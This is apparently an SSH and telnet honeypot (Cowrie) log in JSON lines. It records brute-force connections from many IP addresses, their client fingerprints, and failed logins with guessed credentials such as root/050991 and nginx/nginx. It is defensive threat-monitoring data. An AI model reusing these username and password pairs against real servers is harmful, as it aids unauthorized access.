{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:01:13.892101Z","src_ip":"77.237.244.154","session":"3828b1263bf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arweave","password":"arweave123","message":"login attempt [arweave/arweave123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:01:14.169183Z","src_ip":"77.237.244.154","session":"3828b1263bf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:01:15.263937Z","src_ip":"77.237.244.154","session":"3828b1263bf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.192.25.149","src_port":37200,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d5114c8e953","protocol":"ssh","message":"New connection: 199.192.25.149:37200 (159.203.135.109:22) [session: 5d5114c8e953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:01:22.985557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:01:22.989523Z","src_ip":"199.192.25.149","session":"5d5114c8e953","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:01:23.054569Z","src_ip":"199.192.25.149","session":"5d5114c8e953","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ascendex","password":"ascendex789","message":"login attempt [ascendex/ascendex789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:01:23.252494Z","src_ip":"199.192.25.149","session":"5d5114c8e953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:01:24.320680Z","src_ip":"199.192.25.149","session":"5d5114c8e953","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.163.176.54","src_port":47532,"dst_ip":"159.203.135.109","dst_port":22,"session":"3408c877f10b","protocol":"ssh","message":"New connection: 69.163.176.54:47532 (159.203.135.109:22) [session: 3408c877f10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:02:16.952779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:02:16.956790Z","src_ip":"69.163.176.54","session":"3408c877f10b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:02:17.027138Z","src_ip":"69.163.176.54","session":"3408c877f10b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dymension","password":"dymension123","message":"login attempt [dymension/dymension123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:02:17.242066Z","src_ip":"69.163.176.54","session":"3408c877f10b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:02:18.316241Z","src_ip":"69.163.176.54","session":"3408c877f10b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":47240,"dst_ip":"10.17.0.5","dst_port":22,"session":"37bd3b526047","protocol":"ssh","message":"New connection: 91.92.40.176:47240 (10.17.0.5:22) [session: 37bd3b526047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:02:31.633598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:02:31.637890Z","src_ip":"91.92.40.176","session":"37bd3b526047","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:02:31.720816Z","src_ip":"91.92.40.176","session":"37bd3b526047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:02:32.105600Z","src_ip":"91.92.40.176","session":"37bd3b526047","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:02:33.189700Z","src_ip":"91.92.40.176","session":"37bd3b526047","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01060938835144,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:02:43.025990Z","src_ip":"143.198.154.150","session":"6a818b1c01ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00224614143372,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:02:44.558347Z","src_ip":"107.6.151.170","session":"45ca35117917","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:03:04.865001Z","src_ip":"94.180.250.11","session":"c1fcc98f26c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":37212,"dst_ip":"10.17.0.5","dst_port":22,"session":"064311c88e6e","protocol":"ssh","message":"New connection: 103.77.242.62:37212 (10.17.0.5:22) [session: 064311c88e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:03:27.690434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:03:27.695739Z","src_ip":"103.77.242.62","session":"064311c88e6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:03:27.936047Z","src_ip":"103.77.242.62","session":"064311c88e6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"050991","message":"login attempt [root/050991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:03:28.658149Z","src_ip":"103.77.242.62","session":"064311c88e6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:03:29.901401Z","src_ip":"103.77.242.62","session":"064311c88e6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":44478,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d869cd353e7","protocol":"ssh","message":"New connection: 103.153.68.219:44478 (10.17.0.5:22) [session: 4d869cd353e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:04:12.799346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:04:12.803161Z","src_ip":"103.153.68.219","session":"4d869cd353e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:04:13.056804Z","src_ip":"103.153.68.219","session":"4d869cd353e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"danila12","message":"login attempt [root/danila12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:04:13.818891Z","src_ip":"103.153.68.219","session":"4d869cd353e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:04:15.075678Z","src_ip":"103.153.68.219","session":"4d869cd353e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":44452,"dst_ip":"10.17.0.5","dst_port":22,"session":"d309cbef72a8","protocol":"ssh","message":"New connection: 103.176.20.57:44452 (10.17.0.5:22) [session: d309cbef72a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:04:24.921404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:04:24.925277Z","src_ip":"103.176.20.57","session":"d309cbef72a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:04:25.169245Z","src_ip":"103.176.20.57","session":"d309cbef72a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20121979","message":"login attempt [root/20121979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:04:25.905451Z","src_ip":"103.176.20.57","session":"d309cbef72a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:04:27.152085Z","src_ip":"103.176.20.57","session":"d309cbef72a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.20.210.182","src_port":36600,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6bb83eefee9","protocol":"ssh","message":"New connection: 125.20.210.182:36600 (10.17.0.5:22) [session: c6bb83eefee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:04:54.257146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:04:54.441886Z","src_ip":"125.20.210.182","session":"c6bb83eefee9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":59430,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bad12dbdd12","protocol":"ssh","message":"New connection: 103.172.78.219:59430 (159.203.135.109:22) [session: 7bad12dbdd12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:03.574322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:03.577586Z","src_ip":"103.172.78.219","session":"7bad12dbdd12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:03.842390Z","src_ip":"103.172.78.219","session":"7bad12dbdd12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"140182","message":"login attempt [root/140182] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:04.634739Z","src_ip":"103.172.78.219","session":"7bad12dbdd12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:05.901986Z","src_ip":"103.172.78.219","session":"7bad12dbdd12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":18404,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0e03399756b","protocol":"ssh","message":"New connection: 178.128.39.166:18404 (159.203.135.109:22) [session: d0e03399756b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:05:21.373799Z"}
